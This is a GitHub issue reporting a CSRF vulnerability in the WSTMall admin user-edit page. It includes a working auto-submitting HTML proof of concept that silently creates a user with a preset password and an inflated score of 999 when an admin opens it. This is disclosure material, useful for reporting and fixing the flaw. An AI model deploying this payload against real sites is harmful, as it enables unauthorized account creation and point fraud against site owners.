Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
<html> <body> <script>history.pushState('', '', '/')</script> <form action="http://127.0.0.1:82/wstmall/index.php?m=Admin&c=Users&a=edit" method="POST"> <input type="hidden" name="loginName" value="csrf_test" /> <input type="hidden" name="loginPwd" value="123456" /> <input type="hidden" name="userName" value="cr" /> <input type="hidden" name="userQQ" value="" /> <input type="hidden" name="userScore" value="999" /> <input type="hidden" name="userTotalScore" value="99992" /> <input type="hidden" name="userPhone" value="" /> <input type="hidden" name="userPhoto" value="" /> <input type="hidden" name="userStatus" value="1" /> <input type="hidden" name="userSex" value="1" /> <input type="hidden" name="userEmail" value="" /> <input type="hidden" name="id" value="" /> <input type="submit" value="Submit request" /> </form> <script> document.forms[0].submit(); </script> </body> </html>
The text was updated successfully, but these errors were encountered:
No branches or pull requests
This vulnerability was found at the admin page.
As we can see,2 users' integral are 999. It was created by CSRF.
The POC is "a.html"as follow. .After admin login,if he open "a.html',it will add an user and the user's score is 999!!!
Attacker can use this to earn integral maliciously
The text was updated successfully, but these errors were encountered: